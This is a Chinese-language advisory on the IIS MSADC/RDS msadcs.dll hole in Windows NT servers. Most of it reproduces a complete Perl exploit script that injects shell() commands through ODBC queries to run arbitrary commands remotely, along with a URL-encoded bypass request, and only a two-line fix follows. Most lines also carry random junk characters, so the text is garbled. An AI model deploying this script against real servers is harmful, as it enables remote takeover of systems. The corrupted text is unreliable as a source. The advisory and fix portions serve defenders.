IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]rlZP1". XG/xMz~ 涉及程序：
Ooz ,?wU6 Microsoft NT server
.==D?#bn 6iU&9Z<% 描述：
/L^g. ~ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
b&rBWp0# ps{4_V-3 u 详细：
;b {#$#`= 如果你没有时间读详细内容的话，就删除:
]pR?/3 c:\Program Files\Common Files\System\Msadc\msadcs.dll
arL>{mj 有关的安全问题就没有了。
e S8(HI6{^ 59P c:Gg; 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
c< $<n *igmi9A 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
T3{O+aRt 关于利用ODBC远程漏洞的描述，请参看:
TWRP|i!i z0 9Gp}^; http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm oV%:XuywT VExhN'; 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
B"GC|}N )v http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;"MChk +dCDk* /m 这里不再论述。
G8M~}I/) 3:WqUb\QK 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
uuY^Q;^I* =<n ]T; /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
V+`kB3GV 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
gRY#pRT6d b9j}QK ' ##?PQ*u #将下面这段保存为txt文件，然后: "perl -x 文件名"
tRo Sq;VrS At .& $ t #!perl
;73S;IPR #
2)=whnFS # MSADC/RDS 'usage' (aka exploit) script
W> pe- #
JqzoF}WH # by rain.forest.puppy
rRe5Q #
W22S/s # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
+VUkV-kP # beta test and find errors!
2b$>1O&2 V8n { k' use Socket; use Getopt::Std;
,XT,t[w getopts("e:vd:h:XR", \%args);
X?_rD'3 WzzA:X print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ew1L + ..`c# O& if (!defined $args{h} && !defined $args{R}) {
1ubu~6 print qq~
hV7EjQ p Usage: msadc.pl -h <host> { -d <delay> -X -v }
-N' (2' -h <host> = host you want to scan (ip or domain)
bsQ 'kBD -d <seconds> = delay between calls, default 1 second
>e Gg 1 -X = dump Index Server path table, if available
bbC@ -v = verbose
| xB`cSu( -e = external dictionary file for step 5
S F)$b u2#q7} Or a -R will resume a command session
u d/!@WG v<1@"9EH ~; exit;}
8 4(Jo_9 .V;,6Vq $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
HkD. W6A3 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
!4p{ b f if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Kki(A 4;7F if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
JT
7WZc) $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
7\UHADr if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
$>/d)o $J6
.0O if (!defined $args{R}){ $ret = &has_msadc;
pz^S3fy die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
1clzDwW Mk*4J]PP print "Please type the NT commandline you want to run (cmd /c assumed):\n"
)la3GT*1mS . "cmd /c ";
RE t&QP $in=<STDIN>; chomp $in;
x]7:MG$ $command="cmd /c " . $in ;
:BxO6@>Xc H1-DK+Q: if (defined $args{R}) {&load; exit;}
Bw HJr(n ) 9 Q+07 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
,k J'_mq &try_btcustmr;
,l&?%H9q Gpu[<Z4 print "\nStep 2: Trying to make our own DSN...";
s,_ +5ukv &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
K28L(4 ) %B@NW2ZQ[ print "\nStep 3: Trying known DSNs...";
.F ?ww}2p] &known_dsn;
/g u
VA ?xaUWD print "\nStep 4: Trying known .mdbs...";
;2kQ)Bq" &known_mdb;
2V V> ?s 6/;YS[jX if (defined $args{e}){
+C`!4v\n print "\nStep 5: Trying dictionary of DSN names...";
1EV bGe%b &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
v/ry" W 7@{%S~T N print "Sorry Charley...maybe next time?\n";
phDIUhL$z exit;
1L <TzQ "==c ##############################################################################
" W5MZ |)7K(R)(= sub sendraw { # ripped and modded from whisker
!> Nlp,r&~ sleep($delay); # it's a DoS on the server! At least on mine...
j}Tv/O,f my ($pstr)=@_;
@* hv|zjs socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
j)@W1I]2# die("Socket problems\n");
Ny"9!3V if(connect(S,pack "SnA4x8",2,80,$target)){
A ON
|b\? select(S); $|=1;
~?NCmU=3 print $pstr; my @in=<S>;
!/}4_s`, select(STDOUT); close(S);
/o4_rzR? return @in;
UA.Tp [u } else { die("Can't connect...\n"); }}
0Px Hf* Jl SqTfA ##############################################################################
]{tWfv|Xg8 ]:f.=" sub make_header { # make the HTTP request
^ ?e[$} my $msadc=<<EOT
>.SO2w POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
<);j5) / User-Agent: ACTIVEDATA
Uv59 XF$ Host: $ip
cEHpa%_5 Content-Length: $clen
IEm?'o: Connection: Keep-Alive
*$7^.eHfdd %ZRv+}z ADCClientVersion:01.06
Xf;!w:u Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
G:e=9qTf \B' )2phE --!ADM!ROX!YOUR!WORLD!
3JD62wtx Content-Type: application/x-varg
;* 5z&1O Content-Length: $reqlen
1
k!gR "pt[Nm76)8 EOT
6`9QGi,) ; $msadc=~s/\n/\r\n/g;
pRfKlTU\ return $msadc;}
k[mp( Z( :\Vj" ##############################################################################
jpi,BVTI-X JSg=9p$ sub make_req { # make the RDS request
l4kqz.Z-g my ($switch, $p1, $p2)=@_;
,U9j7E< 4 my $req=""; my $t1, $t2, $query, $dsn;
%#% YU|4R ,8*A#cT
B if ($switch==1){ # this is the btcustmr.mdb query
<w&'E6mU $query="Select * from Customers where City=" . make_shell();
t_^cqEr $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
+!@x H]; $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
/;_$:`|/ }*XF- U elsif ($switch==2){ # this is general make table query
mTH[*Y, $query="create table AZZ (B int, C varchar(10))";
(l][_6Q $dsn="$p1";}
.NdsKhg
b e`+ elsif ($switch==3){ # this is general exploit table query
6 w!qZ4$ $query="select * from AZZ where C=" . make_shell();
="T}mc $dsn="$p1";}
-)J*(7F(6^ tDAX
pi( elsif ($switch==4){ # attempt to hork file info from index server
T>| +cg $query="select path from scope()";
nILUo2e~ $dsn="Provider=MSIDXS;";}
Wr Wz+5M8 [GyPwb- elsif ($switch==5){ # bad query
]@SEOc@ j $query="select";
(6[< +j&. $dsn="$p1";}
'\H
& EJ' >a@1y8B $t1= make_unicode($query);
S%p,.0_ $t2= make_unicode($dsn);
:SF f} $req = "\x02\x00\x03\x00";
x^3K=l;N $req.= "\x08\x00" . pack ("S1", length($t1));
bIt{kzuQC $req.= "\x00\x00" . $t1 ;
!@gjIYq_Y $req.= "\x08\x00" . pack ("S1", length($t2));
}0R"ZPU1Rw $req.= "\x00\x00" . $t2 ;
P Jb /tKC $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
%. [AZ> return $req;}
2v?#r"d >Dv=lgPF ##############################################################################
/ pe.?Zd ` iuQ .I sub make_shell { # this makes the shell() statement
3 }
$9./+ return "'|shell(\"$command\")|'";}
#~*v*F~3 =]Y'xzJuu ##############################################################################
}`whg8 fZ un6W|{4] sub make_unicode { # quick little function to convert to unicode
4xx?x/q my ($in)=@_; my $out;
5' Mw{` for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
eJOo~HIWQ return $out;}
uF,%N t2ui9:g4j ##############################################################################
">|L< Qm3 RXO sub rdo_success { # checks for RDO return success (this is kludge)
};(2 na my (@in) = @_; my $base=content_start(@in);
9MRe? if($in[$base]=~/multipart\/mixed/){
{KqW<X6Hp return 1 if( $in[$base+10]=~/^\x09\x00/ );}
$v{s b, return 0;}
N}bZdE9F g[2[
zIB= ##############################################################################
w2"]%WS % 7<Ut/1$MI sub make_dsn { # this makes a DSN for us
i / N6 8 my @drives=("c","d","e","f");
GB >h8yXH print "\nMaking DSN: ";
+],2smd@N foreach $drive (@drives) {
eF 8um$t9 print "$drive: ";
bB.nevb9p my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
G* mLb1 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
c_? ! V . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
S r7EcT- $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
iaJN~m\
M return 0 if $2 eq "404"; # not found/doesn't exist
_#U hXXD if($2 eq "200") {
^oHK.x#{ foreach $line (@results) {
]N'4q}<5o return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
"^pF2JI } return 0;}
\LS s@\$
g bir tA{ q ##############################################################################
kJ Xy ) @(st![i+ sub verify_exists {
Q!Dr3x my ($page)=@_;
%gEfG#S my @results=sendraw("GET $page HTTP/1.0\n\n");
Rm.9` <Y return $results[0];}
ilj9&.isB ctC! b{S"@ ##############################################################################
,J-YfL^x6* cRPy5[ 'E sub try_btcustmr {
j|% C?N my @drives=("c","d","e","f");
D2Kh+~l my @dirs=("winnt","winnt35","winnt351","win","windows");
\ U `rF ZONe}tv: foreach $dir (@dirs) {
n]Jfd I print "$dir -> "; # fun status so you can see progress
+>h'^/rAE foreach $drive (@drives) {
=dC5q{ print "$drive: "; # ditto
1K$8F ~%Z $reqlen=length( make_req(1,$drive,$dir) ) - 28;
47/YD y% $reqlenlen=length( "$reqlen" );
A^7Y% $clen= 206 + $reqlenlen + $reqlen;
&_6B{Q d 7QWK(d my @results=sendraw(make_header() . make_req(1,$drive,$dir));
bF3}L=z if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
NE$=R" <Gv else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
@6DV?VL mK7egAo ##############################################################################
^nL_*+V`f u-Ip *1/wp sub odbc_error {
} SA/,4/9 my (@in)=@_; my $base;
0j~C6 vp my $base = content_start(@in);
EE p,Z` if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
~_L_un .R $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
tTrue? $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Q_R&+ @ju $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:] +D+ [c) return $in[$base+4].$in[$base+5].$in[$base+6];}
k!,&L$sG print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
bl B00 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
4[]4KKO3Q2 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
b{d@:" t?kbN\, ##############################################################################
;,]Wtmu)7 6cOm 8# sub verbose {
;i&'va$ my ($in)=@_;
3 >sA_ return if !$verbose;
& mvC<_1n print STDOUT "\n$in\n";}
a)8M'f_z Co>=<\yi ##############################################################################
ZgI1Byf O7RW*V:G@ sub save {
bR5+({yH my ($p1, $p2, $p3, $p4)=@_;
D7x"P-ie open(OUT, ">rds.save") || print "Problem saving parameters...\n";
M>g\ Y print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
*e05{C:kS close OUT;}
"( d7:!% Go_~8w0< ##############################################################################
dj cC m5m 1vBXO bk sub load {
) crhF9 !4 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
|P]>[}mD open(IN,"<rds.save") || die("Couldn't open rds.save\n");
v i Y &D @p=<IN>; close(IN);
;/Dp $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
@ (A[H^E $target= inet_aton($ip) || die("inet_aton problems");
2^7VDqLc print "Resuming to $ip ...";
F\;G'dm $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
HI30 -$9 if($p[1]==1) {
A|d(5{:N $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Lm }:` $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Fn!kest my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
EWg\\90 if (rdo_success(@results)){print "Success!\n";}
wGf SVA-q\ else { print "failed\n"; verbose(odbc_error(@results));}}
_6 |lw&o07 elsif ($p[1]==3){
LY^pmak if(run_query("$p[3]")){
8FThu[ print "Success!\n";} else { print "failed\n"; }}
v 5GV"qY elsif ($p[1]==4){
q>*+.~ if(run_query($drvst . "$p[3]")){
8 ?O6IDeW print "Success!\n"; } else { print "failed\n"; }}
@ zE>n exit;}
!1}A\S q~= ]_PMP ##############################################################################
| ^i+Srh bEE'50 D sub create_table {
W`^Zb[ my ($in)=@_;
V1j5jjck $reqlen=length( make_req(2,$in,"") ) - 28;
IPoNAi<b $reqlenlen=length( "$reqlen" );
3R[5prE< $clen= 206 + $reqlenlen + $reqlen;
O?9&6x my @results=sendraw(make_header() . make_req(2,$in,""));
{\L /?# return 1 if rdo_success(@results);
ZLJfSnB my $temp= odbc_error(@results); verbose($temp);
b}9Ry" return 1 if $temp=~/Table 'AZZ' already exists/;
m. G}# / return 0;}
- U g =:zmF]j9 ##############################################################################
ayJKt03\O\ M38Q A sub known_dsn {
(P[:g # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
_s
Z9p4] my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
<o";?^0Q "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
^{GnEqml& "banner", "banners", "ads", "ADCDemo", "ADCTest");
--S2lN/:T z5v)~+"1 foreach $dSn (@dsns) {
7N / v print ".";
m]$!wp next if (!is_access("DSN=$dSn"));
T^ ^o if(create_table("DSN=$dSn")){
~g+?]Lk} print "$dSn successful\n";
%klC&
_g~_ if(run_query("DSN=$dSn")){
mh"&KX86W print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
lmZ Ssx print "Something's borked. Use verbose next time\n";}}} print "\n";}
FaC;vuSpy M3350 ##############################################################################
R*D0 A@ &oTUj'$ sub is_access {
g jJ?*N[ my ($in)=@_;
<3iL 5} $reqlen=length( make_req(5,$in,"") ) - 28;
#$QC2;/)F $reqlenlen=length( "$reqlen" );
;5A $clen= 206 + $reqlenlen + $reqlen;
< 6[XE my @results=sendraw(make_header() . make_req(5,$in,""));
l Ud/^u` my $temp= odbc_error(@results);
Ms. 1RCup verbose($temp); return 1 if ($temp=~/Microsoft Access/);
A7|!&fi return 0;}
wvum 7K{tI F{a- - ##############################################################################
k1HukGa pzP~,cdf sub run_query {
mVN^X/L(y my ($in)=@_;
0Kxc$c $reqlen=length( make_req(3,$in,"") ) - 28;
+^
n\?! $reqlenlen=length( "$reqlen" );
j^}p'w Tu{ $clen= 206 + $reqlenlen + $reqlen;
pDO&I]S`q0 my @results=sendraw(make_header() . make_req(3,$in,""));
( 5] |Kcp| return 1 if rdo_success(@results);
jemg#GB8 my $temp= odbc_error(@results); verbose($temp);
e.%`
tK3 J return 0;}
#`rvL6W q} EM+#h'%- ##############################################################################
L<encPJt r<38; a sub known_mdb {
7yLO<o?9w my @drives=("c","d","e","f","g");
j_VTa/ my @dirs=("winnt","winnt35","winnt351","win","windows");
_K g:jal my $dir, $drive, $mdb;
mr ]IxTv my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
({g7{tUy^H ;#G)([ # this is sparse, because I don't know of many
A>8uLO G} my @sysmdbs=( "\\catroot\\icatalog.mdb",
.olDmFQD "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
=#|| &1U$ "\\system32\\certmdb.mdb",
Q<.84 7 ) "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
b/:&iG; x,a (O@ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
h\ema | "\\cfusion\\cfapps\\forums\\forums_.mdb",
5"=qVmT) "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Z> jk \[ "\\cfusion\\cfapps\\security\\realm_.mdb",
%Ji@\|Zkf "\\cfusion\\cfapps\\security\\data\\realm.mdb",
8|uFW7Q "\\cfusion\\database\\cfexamples.mdb",
/l -lkG5 "\\cfusion\\database\\cfsnippets.mdb",
vq|o}6Et "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
ORhe?E] "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
?+)O4? # "\\cfusion\\brighttiger\\database\\cleam.mdb",
c0.i "\\cfusion\\database\\smpolicy.mdb",
o;+$AU1 f "\\cfusion\\database\cypress.mdb",
;ZMm6o "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
s+;J `_M "\\website\\cgi-win\\dbsample.mdb",
^| L@f "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
GE]cH6E "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
fX=o,=-f ); #these are just
Sdl1k+u foreach $drive (@drives) {
u6{= Z : foreach $dir (@dirs){
PMzPe"3M foreach $mdb (@sysmdbs) {
;q&6WO print ".";
j] \3>. if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Z?yMy zT print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
v`ckvl)(C if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
b13XHR)0 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
&L[7jA'[J } else { print "Something's borked. Use verbose next time\n"; }}}}}
?YzOA$ { og<mFbqkq7 foreach $drive (@drives) {
5(0f"zY foreach $mdb (@mdbs) {
(he cvJ print ".";
7/nnl0u8 if(create_table($drv . $drive . $dir . $mdb)){
dYdZt<6W<( print "\n" . $drive . $dir . $mdb . " successful\n";
&L[oQni];2 if(run_query($drv . $drive . $dir . $mdb)){
dGf:0xE" print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
x#ub % t } else { print "Something's borked. Use verbose next time\n"; }}}}
iq_y80g`8h }
EY=`/~|c @giJ&3S, ##############################################################################
.:?X<=!S&t V3 j1M?> sub hork_idx {
ns|)VX print "\nAttempting to dump Index Server tables...\n";
)&R^J;W$M1 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
;Z%PBMa $reqlen=length( make_req(4,"","") ) - 28;
\~|+*^e ) $reqlenlen=length( "$reqlen" );
qP6 Yn JWl $clen= 206 + $reqlenlen + $reqlen;
q 65mR! ) my @results=sendraw2(make_header() . make_req(4,"",""));
"L'0" if (rdo_success(@results)){
,f
..46G my $max=@results; my $c; my %d;
&VG| *&M for($c=19; $c<$max; $c++){
0Q^ -d+! $results[$c]=~s/\x00//g;
YY~BNQn6d $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
V7}5Z w1 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
34ij5bko_) $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Ve,h]/G $d{"$1$2"}="";}
+L(0R& C foreach $c (keys %d){ print "$c\n"; }
i;4|UeUl } else {print "Index server doesn't seem to be installed.\n"; }}
/[Oo*}Dc=F "iF A&$\ ##############################################################################
jiS|ara" aChyl;#E sub dsn_dict {
_&!%yW@ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
vK\n4mE[, while(<IN>){
HP T {83 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
<x Ov0B next if (!is_access("DSN=$dSn"));
T~B'- >O if(create_table("DSN=$dSn")){
N|cW Tbi print "$dSn successful\n";
>_3+s~ if(run_query("DSN=$dSn")){
2$8#ePyq* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
P|mV((/m4 print "Something's borked. Use verbose next time\n";}}}
2
MFGKz O print "\n"; close(IN);}
*~b3FLzq n3w(zB ##############################################################################
?' F>DN .I%p0ds1r sub sendraw2 { # ripped and modded from whisker
sU>!sxW sleep($delay); # it's a DoS on the server! At least on mine...
)Ih '0> = my ($pstr)=@_;
LwDm (gG socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&w@~@] die("Socket problems\n");
'_)NI if(connect(S,pack "SnA4x8",2,80,$target)){
a xT- print "Connected. Getting data";
r,^}/<* open(OUT,">raw.out"); my @in;
A#&Q(g\YE select(S); $|=1; print $pstr;
="fq.Tt while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
&^WJ:BvA|^ close(OUT); select(STDOUT); close(S); return @in;
q}Wd`>VDR } else { die("Can't connect...\n"); }}
lLD-QO}/ '^Kmfc ##############################################################################
B{IYVviiP 4 Y>v+N^ sub content_start { # this will take in the server headers
jA ?tDAx` my (@in)=@_; my $c;
2K/+6t} for ($c=1;$c<500;$c++) {
pyPS5vWG if($in[$c] =~/^\x0d\x0a/){
Of| e]GR if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
c-S_{~~ else { return $c+1; }}}
joaf0 return -1;} # it should never get here actually
yl63VX8w} XAN{uD^3\% ##############################################################################
4
I}xygV ~_vzss3-C sub funky {
z:PH _N~ my (@in)=@_; my $error=odbc_error(@in);
)3O0: ]<H if($error=~/ADO could not find the specified provider/){
C4 V#qhj print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ni @Mqb exit;}
CV <@Rgoa if($error=~/A Handler is required/){
6*@\Qsp615 print "\nServer has custom handler filters (they most likely are patched)\n";
"52nT exit;}
mG,%f"b0 if($error=~/specified Handler has denied Access/){
&=SP"@D print "\nServer has custom handler filters (they most likely are patched)\n";
-O LXR c= exit;}}
![O @{/ IEb"tsel ##############################################################################
K*&?+_v
: F^i v1b sub has_msadc {
F_Q,j]0 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
\L14rQ
t my $base=content_start(@results);
H]:z:AAvX return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Bsm>^zZ`YU return 0;}
$)OUOv h'8w<n+%) ########################
7Gb(&'n s(yV E S30@|@fTz 解决方案：
H*U\P 2C!) 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
!X 3/2KRP7 2、移除web 目录: /msadc
